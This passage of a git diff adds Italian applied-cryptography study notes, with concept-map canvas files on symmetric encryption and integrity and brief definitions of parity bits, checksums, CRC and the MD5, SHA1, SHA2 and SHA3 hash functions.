+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/esperimento IND-COA.md","id":"8884017f58dd7293","x":-640,"y":-880,"width":1520,"height":560},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/esperimento IND-CPA.md","id":"6b3e865db484398c","x":-640,"y":-1920,"width":1520,"height":560},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/esperimento IND-DCPA.md","id":"c91876506670bcd8","x":-640,"y":-1200,"width":1520,"height":160},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/determinismo dell'initialization vector.md","id":"11ed84fdde1a03c2","x":3000,"y":9000,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/synthetic initialization vector.md","id":"deb34aa46b8485b5","x":2440,"y":11480,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/initialization vector.md","id":"0e06f7513ff634a9","x":2440,"y":9240,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/manipolazione dell'initialization vector.md","id":"29bdf63dcae67fd3","x":3000,"y":9480,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/operation mode di un cifrario a blocchi.md","id":"8489d1ccd312c14a","x":800,"y":8700,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cipher feedback operation mode.md","id":"4fe73aa79f2c47c0","x":1320,"y":8960,"width":970,"height":960},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/output feedback operation mode.md","id":"cd4dff6262ea77d4","x":1320,"y":7840,"width":970,"height":960},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/attacco contro initialization vector prevedibili.md","id":"71528ea348d274d9","x":3560,"y":8760,"width":960,"height":1360},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/riutilizzo di nonce.md","id":"6aca2053592d6c80","x":3000,"y":5880,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/electronic codebook operation mode.md","id":"7479f8cb23b849f4","x":1320,"y":6720,"width":970,"height":960},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/nonce → initialization vector.md","id":"a349e07529d5489d","x":2440,"y":7000,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/AES.md","id":"c150040519086dc4","x":3560,"y":3640,"width":960,"height":400,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/DES.md","id":"3409cb8157cef9af","x":2440,"y":3640,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/3DES.md","id":"15ec34cb088da602","x":3000,"y":3640,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/synthetic initialization vector operation mode.md","id":"46bc10db8fcf231d","x":1320,"y":11200,"width":970,"height":960},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cipher block chaining operation mode.md","id":"5ea6eafe532a335e","x":1320,"y":10080,"width":970,"height":960},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/nonce.md","id":"fa05aef54e25444d","x":2440,"y":5880,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/re-keying.md","id":"50b04b0b177c50a9","x":3560,"y":5880,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/PKCS7.md","id":"61272f2e9a9ceaa5","x":2520,"y":4760,"width":960,"height":680,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/counter operation mode.md","id":"4a9621b709a916b2","x":1320,"y":5600,"width":970,"height":960},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/random permutation.md","id":"af6e82fe2e4f6b31","x":760,"y":5040,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"a4799f424dfab361","x":1320,"y":5040,"width":970,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cifrario a blocchi.md","id":"fb930379bfe25e0f","x":760,"y":3920,"width":1520,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/blocco.md","id":"0100860c18f8b861","x":760,"y":4480,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/padding oracle attack.md","id":"96ed9c0be8ea794d","x":4680,"y":3720,"width":960,"height":1360},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/padding.md","id":"c95a92135a4b6196","x":1320,"y":4480,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/distinguibilità degli errori di padding.md","id":"8f6a7cf64414ec31","x":2520,"y":4200,"width":960,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/key recovery.md","id":"638d3040b06c19d1","x":-1760,"y":1120,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext-only attacker.md","id":"09cd476d7d7807fd","x":-1480,"y":-800,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/chosen-plaintext attacker.md","id":"209835d1898eba03","x":-1480,"y":-1320,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/indistinguibilità.md","id":"4c04e378a3dfa44c","x":1340,"y":-800,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/principi di Kerckhoffs.md","id":"a6c3323ceab37f5e","x":1340,"y":-200,"width":960,"height":480}
+	],
+	"edges":[
+		{"id":"56d1884856f94fa6","fromNode":"fab2abdee9c5ea68","fromSide":"top","toNode":"8884017f58dd7293","toSide":"bottom","toEnd":"none"},
+		{"id":"4494d2ad9240a3b3","fromNode":"fab2abdee9c5ea68","fromSide":"bottom","toNode":"8e6956a794fa9959","toSide":"top","toEnd":"none"},
+		{"id":"0244f287332bf90a","fromNode":"8e6956a794fa9959","fromSide":"left","toNode":"57a407bccaccfe80","toSide":"right","toEnd":"none"},
+		{"id":"c00edfecb08a4a04","fromNode":"4681bb0c389a526d","fromSide":"bottom","toNode":"45cdca5abb2367a8","toSide":"top","toEnd":"none"},
+		{"id":"afa774a21cbed422","fromNode":"21320d8c844dc3ac","fromSide":"right","toNode":"dee72d66499df73d","toSide":"top","toEnd":"none"},
+		{"id":"65a8c9ae6c47e906","fromNode":"21320d8c844dc3ac","fromSide":"right","toNode":"cced3abdc1136d10","toSide":"top","toEnd":"none"},
+		{"id":"6fd262ade30bfcb5","fromNode":"21320d8c844dc3ac","fromSide":"right","toNode":"5204a36bd9474350","toSide":"top","toEnd":"none","color":"4"},
+		{"id":"3c487a9993264d2a","fromNode":"21320d8c844dc3ac","fromSide":"right","toNode":"816321233cd58034","toSide":"top","toEnd":"none"},
+		{"id":"b4ed594eb9968c5d","fromNode":"5204a36bd9474350","fromSide":"right","toNode":"816321233cd58034","toSide":"left"},
+		{"id":"c4cd515299ce25c3","fromNode":"af6e82fe2e4f6b31","fromSide":"right","toNode":"a4799f424dfab361","toSide":"left","toEnd":"none"},
+		{"id":"25503d6d0aebf67d","fromNode":"af6e82fe2e4f6b31","fromSide":"bottom","toNode":"8489d1ccd312c14a","toSide":"top","toEnd":"none"},
+		{"id":"3266165079bbd6cc","fromNode":"fb930379bfe25e0f","fromSide":"bottom","toNode":"0100860c18f8b861","toSide":"top","toEnd":"none"},
+		{"id":"9b3365dd3f7275cd","fromNode":"0100860c18f8b861","fromSide":"bottom","toNode":"af6e82fe2e4f6b31","toSide":"top","toEnd":"none"},
+		{"id":"a316891005054a27","fromNode":"8489d1ccd312c14a","fromSide":"right","toNode":"7479f8cb23b849f4","toSide":"left","toEnd":"none"},
+		{"id":"009b17eee215ffb3","fromNode":"8489d1ccd312c14a","fromSide":"right","toNode":"4a9621b709a916b2","toSide":"left","toEnd":"none"},
+		{"id":"6230d2d3b06f8e30","fromNode":"3409cb8157cef9af","fromSide":"right","toNode":"15ec34cb088da602","toSide":"left"},
+		{"id":"3d46b07d2bb73ad0","fromNode":"57a407bccaccfe80","fromSide":"left","toNode":"9365ca15ee7992cb","toSide":"right","toEnd":"none"},
+		{"id":"f6424eb70e438d90","fromNode":"8e6956a794fa9959","fromSide":"right","toNode":"21320d8c844dc3ac","toSide":"left","toEnd":"none"},
+		{"id":"a71509474ed9c0dd","fromNode":"8e6956a794fa9959","fromSide":"right","toNode":"4681bb0c389a526d","toSide":"left","toEnd":"none"},
+		{"id":"c00bbdfd3f5f20a1","fromNode":"4a9621b709a916b2","fromSide":"right","toNode":"fa05aef54e25444d","toSide":"left","toEnd":"none"},
+		{"id":"497cacc0236df08e","fromNode":"fa05aef54e25444d","fromSide":"bottom","toNode":"a349e07529d5489d","toSide":"top"},
+		{"id":"a5cbf40810c7fcce","fromNode":"a349e07529d5489d","fromSide":"left","toNode":"7479f8cb23b849f4","toSide":"right","toEnd":"none"},
+		{"id":"8ec6441c102d7521","fromNode":"4681bb0c389a526d","fromSide":"right","toNode":"62d2e803eb09f41c","toSide":"left","toEnd":"none"},
+		{"id":"ac701efe769fc989","fromNode":"62d2e803eb09f41c","fromSide":"right","toNode":"1c1ae361e19aba57","toSide":"left","toEnd":"none"},
+		{"id":"c33aa326af3270b1","fromNode":"21320d8c844dc3ac","fromSide":"bottom","toNode":"bdf570d38f995880","toSide":"top","toEnd":"none"},
+		{"id":"77b6b154f0237d62","fromNode":"21320d8c844dc3ac","fromSide":"bottom","toNode":"d7df80f0c78f4424","toSide":"top","toEnd":"none"},
+		{"id":"797da1fff689dda8","fromNode":"d7df80f0c78f4424","fromSide":"right","toNode":"8eb2ecd11a75091e","toSide":"left","toEnd":"none"},
+		{"id":"d3be9ee1a56fc3a8","fromNode":"0100860c18f8b861","fromSide":"right","toNode":"c95a92135a4b6196","toSide":"left","toEnd":"none"},
+		{"id":"8b289f59178ae8b6","fromNode":"21320d8c844dc3ac","fromSide":"right","toNode":"9e86e2e64eeedbf2","toSide":"left","toEnd":"none"},
+		{"id":"54c1dc4f0d12d6f0","fromNode":"9e86e2e64eeedbf2","fromSide":"right","toNode":"5c5713c208f041f3","toSide":"left","toEnd":"none"},
+		{"id":"1823fb3cc34dc7a9","fromNode":"c95a92135a4b6196","fromSide":"right","toNode":"61272f2e9a9ceaa5","toSide":"left","toEnd":"none","color":"4"},
+		{"id":"12008c77ddc7f1ed","fromNode":"5c5713c208f041f3","fromSide":"right","toNode":"72d002568d84c044","toSide":"left","toEnd":"none"},
+		{"id":"04da7e0223891227","fromNode":"6aca2053592d6c80","fromSide":"right","toNode":"50b04b0b177c50a9","toSide":"left","toEnd":"none"},
+		{"id":"0ec85b5b6e730615","fromNode":"fa05aef54e25444d","fromSide":"right","toNode":"6aca2053592d6c80","toSide":"left","toEnd":"none"},
+		{"id":"82f4da12c032b740","fromNode":"a236ab0cf2b25472","fromSide":"right","toNode":"1c1ae361e19aba57","toSide":"left","toEnd":"none"},
+		{"id":"c0012f002b3e761c","fromNode":"21320d8c844dc3ac","fromSide":"right","toNode":"a236ab0cf2b25472","toSide":"left","toEnd":"none"},
+		{"id":"276c3d702db42a2f","fromNode":"a236ab0cf2b25472","fromSide":"top","toNode":"62d2e803eb09f41c","toSide":"bottom","toEnd":"none"},
+		{"id":"293fa6c341af8dd6","fromNode":"c91876506670bcd8","fromSide":"top","toNode":"6b3e865db484398c","toSide":"bottom"},
+		{"id":"e7a112a3ce72c67f","fromNode":"8884017f58dd7293","fromSide":"top","toNode":"c91876506670bcd8","toSide":"bottom"},
+		{"id":"6f2e4d5cdc8ba6ce","fromNode":"8489d1ccd312c14a","fromSide":"right","toNode":"5ea6eafe532a335e","toSide":"left","toEnd":"none"},
+		{"id":"a27f39d40f1022ce","fromNode":"5ea6eafe532a335e","fromSide":"right","toNode":"0e06f7513ff634a9","toSide":"left","toEnd":"none"},
+		{"id":"b98cad7d46e3a477","fromNode":"a349e07529d5489d","fromSide":"bottom","toNode":"0e06f7513ff634a9","toSide":"top"},
+		{"id":"587353a0a0cbb787","fromNode":"0e06f7513ff634a9","fromSide":"right","toNode":"11ed84fdde1a03c2","toSide":"left","toEnd":"none"},
+		{"id":"7dc2ed263aac6728","fromNode":"11ed84fdde1a03c2","fromSide":"right","toNode":"71528ea348d274d9","toSide":"left","toEnd":"none"},
+		{"id":"726dc6188cff9b4a","fromNode":"8489d1ccd312c14a","fromSide":"right","toNode":"46bc10db8fcf231d","toSide":"left","toEnd":"none"},
+		{"id":"5a58a6ae12fd76f9","fromNode":"46bc10db8fcf231d","fromSide":"right","toNode":"deb34aa46b8485b5","toSide":"left","toEnd":"none"},
+		{"id":"1c33e99cf4ce5c69","fromNode":"0e06f7513ff634a9","fromSide":"bottom","toNode":"deb34aa46b8485b5","toSide":"top","toEnd":"none"},
+		{"id":"6224f6b6723596ed","fromNode":"46bc10db8fcf231d","fromSide":"top","toNode":"5ea6eafe532a335e","toSide":"bottom","toEnd":"none"},
+		{"id":"541c4daec68f09fc","fromNode":"0e06f7513ff634a9","fromSide":"right","toNode":"29bdf63dcae67fd3","toSide":"left","toEnd":"none"},
+		{"id":"a55dc3408894cacc","fromNode":"29bdf63dcae67fd3","fromSide":"right","toNode":"71528ea348d274d9","toSide":"left","toEnd":"none"},
+		{"id":"56d5fa9de7512f2f","fromNode":"8489d1ccd312c14a","fromSide":"right","toNode":"cd4dff6262ea77d4","toSide":"left","toEnd":"none"},
+		{"id":"ff576825edb753b3","fromNode":"8489d1ccd312c14a","fromSide":"right","toNode":"4fe73aa79f2c47c0","toSide":"left","toEnd":"none"},
+		{"id":"f33fe4427b95df00","fromNode":"4fe73aa79f2c47c0","fromSide":"right","toNode":"0e06f7513ff634a9","toSide":"left","toEnd":"none"},
+		{"id":"cab424668a50aebf","fromNode":"cd4dff6262ea77d4","fromSide":"right","toNode":"0e06f7513ff634a9","toSide":"left","toEnd":"none"},
+		{"id":"d54d6549d88b6db9","fromNode":"fb930379bfe25e0f","fromSide":"right","toNode":"3409cb8157cef9af","toSide":"bottom"},
+		{"id":"a6ec0784d6b7eed2","fromNode":"fb930379bfe25e0f","fromSide":"right","toNode":"15ec34cb088da602","toSide":"bottom"},
+		{"id":"ca6911b972cd1978","fromNode":"fb930379bfe25e0f","fromSide":"right","toNode":"c150040519086dc4","toSide":"bottom","color":"4"},
+		{"id":"495e0b32535be567","fromNode":"8f6a7cf64414ec31","fromSide":"right","toNode":"96ed9c0be8ea794d","toSide":"left","toEnd":"none"},
+		{"id":"c03dec4833f51177","fromNode":"c95a92135a4b6196","fromSide":"right","toNode":"8f6a7cf64414ec31","toSide":"left","toEnd":"none"},
+		{"id":"bea25d5da22a050b","fromNode":"fb930379bfe25e0f","fromSide":"right","toNode":"8f6a7cf64414ec31","toSide":"left","toEnd":"none"},
+		{"id":"ed517207239ae646","fromNode":"8e6956a794fa9959","fromSide":"right","toNode":"fb930379bfe25e0f","toSide":"left","toEnd":"none"},
+		{"id":"e24e6495d51a3270","fromNode":"9365ca15ee7992cb","fromSide":"bottom","toNode":"638d3040b06c19d1","toSide":"top","toEnd":"none"},
+		{"id":"1a9fdb54c5eb416a","fromNode":"57a407bccaccfe80","fromSide":"bottom","toNode":"638d3040b06c19d1","toSide":"right","toEnd":"none"},
+		{"id":"22859b0927ff7e45","fromNode":"8884017f58dd7293","fromSide":"right","toNode":"4c04e378a3dfa44c","toSide":"left","toEnd":"none"},
+		{"id":"937c655815620040","fromNode":"c91876506670bcd8","fromSide":"right","toNode":"4c04e378a3dfa44c","toSide":"left","toEnd":"none"},
+		{"id":"1169f430e674d026","fromNode":"6b3e865db484398c","fromSide":"right","toNode":"4c04e378a3dfa44c","toSide":"left","toEnd":"none"},
+		{"id":"f584d381bd164313","fromNode":"fab2abdee9c5ea68","fromSide":"right","toNode":"a6c3323ceab37f5e","toSide":"left","toEnd":"none"},
+		{"id":"bf9e8405a52bf029","fromNode":"4c04e378a3dfa44c","fromSide":"bottom","toNode":"a6c3323ceab37f5e","toSide":"top","toEnd":"none"},
+		{"id":"045e9ba809119c62","fromNode":"8884017f58dd7293","fromSide":"left","toNode":"09cd476d7d7807fd","toSide":"right","toEnd":"none"},
+		{"id":"e88e2a515f44625d","fromNode":"c91876506670bcd8","fromSide":"left","toNode":"209835d1898eba03","toSide":"right","toEnd":"none"},
+		{"id":"85db2fb473f91820","fromNode":"6b3e865db484398c","fromSide":"left","toNode":"209835d1898eba03","toSide":"right","toEnd":"none"},
+		{"id":"1839e3601753e983","fromNode":"09cd476d7d7807fd","fromSide":"bottom","toNode":"9365ca15ee7992cb","toSide":"top","toEnd":"none"},
+		{"id":"4e345d9323c7a6d1","fromNode":"09cd476d7d7807fd","fromSide":"top","toNode":"209835d1898eba03","toSide":"bottom"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/bit di parità.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/bit di parità.md
new file mode 100644
index 0000000..f8d2fbd
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/bit di parità.md	
@@ -0,0 +1,3 @@
+[[funzione di hashing]] con due possibili output.
+
+Conta il numero di bit impostati a `1`, e restituisce `1` se è pari o `0` se è dispari.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/checksum.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/checksum.md
new file mode 100644
index 0000000..8824d75
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/checksum.md	
@@ -0,0 +1 @@
+[[funzione di hashing]] che aggiunge più possibili output al [[bit di parità]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/cyclic redundancy check.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/cyclic redundancy check.md
new file mode 100644
index 0000000..17859d3
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/cyclic redundancy check.md	
@@ -0,0 +1 @@
+[[funzione di hashing]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/funzione di hashing.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/funzione di hashing.md
new file mode 100644
index 0000000..2d7b19a
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/funzione di hashing.md	
@@ -0,0 +1,13 @@
+[[Funzione ideale]] che:
+
+- **consuma** un [[testo]] di dimensione arbitraria
+- **emette** un [[hash]]
+
+Generalmente, le funzioni di hash si propongono di emettere output distribuiti uniformemente nel loro codominio, ma ciò non è sempre vero.
+
+## Schema
+
+```python
+def hash_simple(text) -> hash:
+	...
+```
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/hash.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/hash.md
new file mode 100644
index 0000000..69c2b2e
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/hash.md	
@@ -0,0 +1,7 @@
+[[blob]] di dati di dimensione fissa, [[risultato]] di una [[funzione di hashing]].
+
+Si può generalmente dire che *riassume* un dato.
+
+## Livello di sicurezza
+
+La sua [[entropia]] determina il [[livello di sicurezza]] da attacchi di [[collision experiment]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/verifica dell'integrità.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/verifica dell'integrità.md
new file mode 100644
index 0000000..a10de45
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/verifica dell'integrità.md	
@@ -0,0 +1 @@
+[[problema]] in cui si vuole verificare che un dato [[irrational attacker|soggetto a interferenze casuali]] sia rimasto [[integrità|integro]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/★ mappa concettuale.canvas b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/★ mappa concettuale.canvas
new file mode 100644
index 0000000..0728fe2
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/★ mappa concettuale.canvas	
@@ -0,0 +1,24 @@
+{
+	"nodes":[
+		{"type":"group","id":"2d8f73df521a69d0","x":-220,"y":-230,"width":460,"height":460,"color":"5","label":"Difesa"},
+		{"type":"group","id":"07fbff18d4556d47","x":900,"y":-220,"width":440,"height":440,"color":"1","label":"Attacco"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/verifica dell'integrità.md","id":"18325ffbb7d0c795","x":360,"y":-200,"width":400,"height":400,"color":"#ffffff"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/funzione di hashing.md","id":"22ae2b13bd5c112b","x":80,"y":360,"width":960,"height":760},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/bit di parità.md","id":"219070f46a7475d3","x":1200,"y":360,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/irrational attacker.md","id":"3d0a972b40f0b095","x":920,"y":-200,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/checksum.md","id":"15b2de39065b77e0","x":1200,"y":640,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/cyclic redundancy check.md","id":"a0eeb49c7a083d9b","x":1200,"y":920,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/hash.md","id":"b2c479119ab42681","x":-480,"y":540,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/integrità.md","id":"ceda81191faf7bb2","x":-200,"y":-210,"width":420,"height":420}
+	],
+	"edges":[
+		{"id":"6b31c2dc92642fc4","fromNode":"18325ffbb7d0c795","fromSide":"bottom","toNode":"22ae2b13bd5c112b","toSide":"top","toEnd":"none"},
+		{"id":"2a085de7c550a408","fromNode":"22ae2b13bd5c112b","fromSide":"left","toNode":"b2c479119ab42681","toSide":"right","toEnd":"none"},
+		{"id":"6e26f0928ae1b202","fromNode":"22ae2b13bd5c112b","fromSide":"right","toNode":"15b2de39065b77e0","toSide":"left","toEnd":"none"},
+		{"id":"7190d91e388e6084","fromNode":"22ae2b13bd5c112b","fromSide":"right","toNode":"219070f46a7475d3","toSide":"left","toEnd":"none"},
+		{"id":"dfd6891f2c841b36","fromNode":"219070f46a7475d3","fromSide":"bottom","toNode":"15b2de39065b77e0","toSide":"top"},
+		{"id":"d1f0e9037ea9bfed","fromNode":"22ae2b13bd5c112b","fromSide":"right","toNode":"a0eeb49c7a083d9b","toSide":"left","toEnd":"none"},
+		{"id":"34f953296d451693","fromNode":"18325ffbb7d0c795","fromSide":"left","toNode":"ceda81191faf7bb2","toSide":"right","toEnd":"none"},
+		{"id":"fc4dbd2c5682e4e1","fromNode":"18325ffbb7d0c795","fromSide":"right","toNode":"3d0a972b40f0b095","toSide":"left","toEnd":"none"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/MD5.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/MD5.md
new file mode 100644
index 0000000..71644c2
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/MD5.md	
@@ -0,0 +1 @@
+[[funzione di hashing crittografico]] [[deprecato|deprecata]]: l'avversario è in grado di vincere con facilità un [[collision experiment]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA1.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA1.md
new file mode 100644
index 0000000..11875ba
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA1.md	
@@ -0,0 +1 @@
+[[funzione di hashing crittografico]] deprecata: l'avversario è in grado di vincere con un certo grado di difficoltà un [[collision experiment]] con un attacco [[SHAttered]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA2.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA2.md
new file mode 100644
index 0000000..a14555d
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA2.md	
@@ -0,0 +1 @@
+[[funzione di hashing crittografico]] moderna, basata su [[SHA1]] e rafforzata.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA224.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA224.md
new file mode 100644
index 0000000..0b4c63e
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA224.md	
@@ -0,0 +1 @@
+Variante di [[SHA2]] che genera hash di [[224-bit]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA256.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA256.md
new file mode 100644
index 0000000..1d72ea5
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA256.md	
@@ -0,0 +1 @@
+Variante di [[SHA2]] che genera hash di [[256-bit]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3-224.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3-224.md
new file mode 100644
index 0000000..95b0621
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3-224.md	
@@ -0,0 +1 @@
+Variante di [[SHA3]] che genera hash di [[224-bit]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3-256.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3-256.md
new file mode 100644
index 0000000..f0e2f3c
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3-256.md	
@@ -0,0 +1 @@
+Variante di [[SHA3]] che genera hash di [[256-bit]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3-384.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3-384.md
new file mode 100644
index 0000000..9cceaf8
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3-384.md	
@@ -0,0 +1 @@
+Variante di [[SHA3]] che genera hash di [[384-bit]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3-512.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3-512.md
new file mode 100644
index 0000000..0cb3d0d
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3-512.md	
@@ -0,0 +1 @@
+Variante di [[SHA3]] che genera hash di [[512-bit]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3.md
new file mode 100644
index 0000000..77adceb
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3.md	
@@ -0,0 +1,3 @@
+[[funzione di hashing crittografico]] moderna, che utilizza primitive diverse rispetto a SHA2.
+
